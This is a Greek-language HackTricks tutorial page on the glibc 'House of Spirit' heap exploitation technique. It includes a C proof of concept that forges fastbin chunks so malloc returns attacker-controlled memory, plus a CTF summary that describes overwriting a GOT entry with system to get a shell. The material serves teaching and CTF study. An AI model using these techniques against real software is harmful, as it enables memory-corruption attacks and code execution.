mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 05:03:35 +00:00
135 lines
9 KiB
Markdown
135 lines
9 KiB
Markdown
|
# Σπίτι του Πνεύματος
|
|||
|
|
|||
|
<details>
|
|||
|
|
|||
|
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|||
|
|
|||
|
Άλλοι τρόποι υποστήριξης του HackTricks:
|
|||
|
|
|||
|
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
|||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|||
|
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|||
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|||
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
|||
|
|
|||
|
</details>
|
|||
|
|
|||
|
## Βασικές Πληροφορίες
|
|||
|
|
|||
|
### Κώδικας
|
|||
|
|
|||
|
<details>
|
|||
|
|
|||
|
<summary>Σπίτι του Πνεύματος</summary>
|
|||
|
```c
|
|||
|
#include <unistd.h>
|
|||
|
#include <stdlib.h>
|
|||
|
#include <string.h>
|
|||
|
#include <stdio.h>
|
|||
|
|
|||
|
// Code altered to add som prints from: https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit
|
|||
|
|
|||
|
struct fast_chunk {
|
|||
|
size_t prev_size;
|
|||
|
size_t size;
|
|||
|
struct fast_chunk *fd;
|
|||
|
struct fast_chunk *bk;
|
|||
|
char buf[0x20]; // chunk falls in fastbin size range
|
|||
|
};
|
|||
|
|
|||
|
int main() {
|
|||
|
struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory
|
|||
|
void *ptr, *victim;
|
|||
|
|
|||
|
ptr = malloc(0x30);
|
|||
|
|
|||
|
printf("Original alloc address: %p\n", ptr);
|
|||
|
printf("Main fake chunk:%p\n", &fake_chunks[0]);
|
|||
|
printf("Second fake chunk for size: %p\n", &fake_chunks[1]);
|
|||
|
|
|||
|
// Passes size check of "free(): invalid size"
|
|||
|
fake_chunks[0].size = sizeof(struct fast_chunk);
|
|||
|
|
|||
|
// Passes "free(): invalid next size (fast)"
|
|||
|
fake_chunks[1].size = sizeof(struct fast_chunk);
|
|||
|
|
|||
|
// Attacker overwrites a pointer that is about to be 'freed'
|
|||
|
// Point to .fd as it's the start of the content of the chunk
|
|||
|
ptr = (void *)&fake_chunks[0].fd;
|
|||
|
|
|||
|
free(ptr);
|
|||
|
|
|||
|
victim = malloc(0x30);
|
|||
|
printf("Victim: %p\n", victim);
|
|||
|
|
|||
|
return 0;
|
|||
|
}
|
|||
|
```
|
|||
|
</details>
|
|||
|
|
|||
|
### Στόχος
|
|||
|
|
|||
|
* Να είναι δυνατή η προσθήκη ενός διευθύνσεων στο tcache / fast bin ώστε αργότερα να είναι δυνατή η εκχώρησή του
|
|||
|
|
|||
|
### Απαιτήσεις
|
|||
|
|
|||
|
* Αυτή η επίθεση απαιτεί από τον εισβολέα να μπορεί να δημιουργήσει μερικά ψεύτικα fast chunks που υποδεικνύουν σωστά την τιμή του μεγέθους τους και στη συνέχεια να μπορεί να ελευθερώσει το πρώτο ψεύτικο chunk ώστε να μπει στο bin.
|
|||
|
|
|||
|
### Επίθεση
|
|||
|
|
|||
|
* Δημιουργήστε ψεύτικα chunks που παρακάμπτουν τους ελέγχους ασφαλείας: θα χρειαστείτε 2 ψεύτικα chunks που υποδεικνύουν στις σωστές θέσεις τις σωστές τιμές μεγέθους
|
|||
|
* Κάπως διαχειριστείτε να ελευθερώσετε το πρώτο ψεύτικο chunk ώστε να μπει στο γρήγορο ή tcache bin και στη συνέχεια να το εκχωρήσετε για να αντικαταστήσετε αυτή τη διεύθυνση
|
|||
|
|
|||
|
**Ο κώδικας από τον** [**guyinatuxedo**](https://guyinatuxedo.github.io/39-house\_of\_spirit/house\_spirit\_exp/index.html) **είναι εξαιρετικός για να κατανοήσετε την επίθεση.** Παρόλο που αυτό το σχήμα από τον κώδικα το περιλαμβάνει αρκετά καλά:
|
|||
|
```c
|
|||
|
/*
|
|||
|
this will be the structure of our two fake chunks:
|
|||
|
assuming that you compiled it for x64
|
|||
|
|
|||
|
+-------+---------------------+------+
|
|||
|
| 0x00: | Chunk # 0 prev size | 0x00 |
|
|||
|
+-------+---------------------+------+
|
|||
|
| 0x08: | Chunk # 0 size | 0x60 |
|
|||
|
+-------+---------------------+------+
|
|||
|
| 0x10: | Chunk # 0 content | 0x00 |
|
|||
|
+-------+---------------------+------+
|
|||
|
| 0x60: | Chunk # 1 prev size | 0x00 |
|
|||
|
+-------+---------------------+------+
|
|||
|
| 0x68: | Chunk # 1 size | 0x40 |
|
|||
|
+-------+---------------------+------+
|
|||
|
| 0x70: | Chunk # 1 content | 0x00 |
|
|||
|
+-------+---------------------+------+
|
|||
|
|
|||
|
for what we are doing the prev size values don't matter too much
|
|||
|
the important thing is the size values of the heap headers for our fake chunks
|
|||
|
*/
|
|||
|
```
|
|||
|
{% hint style="info" %}
|
|||
|
Σημειώστε ότι είναι απαραίτητο να δημιουργήσετε το δεύτερο κομμάτι προκειμένου να παρακάμψετε μερικούς ελέγχους ακεραιότητας.
|
|||
|
{% endhint %}
|
|||
|
|
|||
|
## Παραδείγματα
|
|||
|
|
|||
|
* CTF [https://guyinatuxedo.github.io/39-house\_of\_spirit/hacklu14\_oreo/index.html](https://guyinatuxedo.github.io/39-house\_of\_spirit/hacklu14\_oreo/index.html)
|
|||
|
* **Διαρροή πληροφοριών Libc**: Μέσω ενός υπερχείλισης είναι δυνατό να αλλάξει ένας δείκτης ώστε να δείχνει σε μια διεύθυνση GOT προκειμένου να διαρρεύσει μια διεύθυνση Libc μέσω της ενέργειας read του CTF
|
|||
|
* **House of Spirit**: Εκμεταλλευόμενος ένα μετρητή που μετρά τον αριθμό των "ριφλών" είναι δυνατό να δημιουργηθεί μια ψεύτικη μέγεθος του πρώτου ψεύτικου κομματιού, στη συνέχεια εκμεταλλευόμενος ένα "μήνυμα" είναι δυνατό να δημιουργηθεί το δεύτερο μέγεθος ενός κομματιού και τελικά εκμεταλλευόμενος μια υπερχείλιση είναι δυνατό να αλλάξει ένας δείκτης που θα απελευθερωθεί έτσι ώστε το πρώτο ψεύτικο κομμάτι μας να απελευθερωθεί. Στη συνέχεια, μπορούμε να το εκχωρήσουμε και μέσα σε αυτό θα υπάρχει η διεύθυνση όπου αποθηκεύεται το "μήνυμα". Στη συνέχεια, είναι δυνατό να κατευθύνουμε αυτό προς την είσοδο `scanf` μέσα στον πίνακα GOT, έτσι μπορούμε να το αντικαταστήσουμε με τη διεύθυνση προς το σύστημα.\
|
|||
|
Την επόμενη φορά που καλείται το `scanf`, μπορούμε να στείλουμε την είσοδο `"/bin/sh"` και να λάβουμε ένα κέλυφος.
|
|||
|
|
|||
|
## Αναφορές
|
|||
|
|
|||
|
* [https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_spirit](https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_spirit)
|
|||
|
|
|||
|
<details>
|
|||
|
|
|||
|
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|||
|
|
|||
|
Άλλοι τρόποι υποστήριξης του HackTricks:
|
|||
|
|
|||
|
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
|||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|||
|
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|||
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|||
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
|||
|
|
|||
|
</details>
|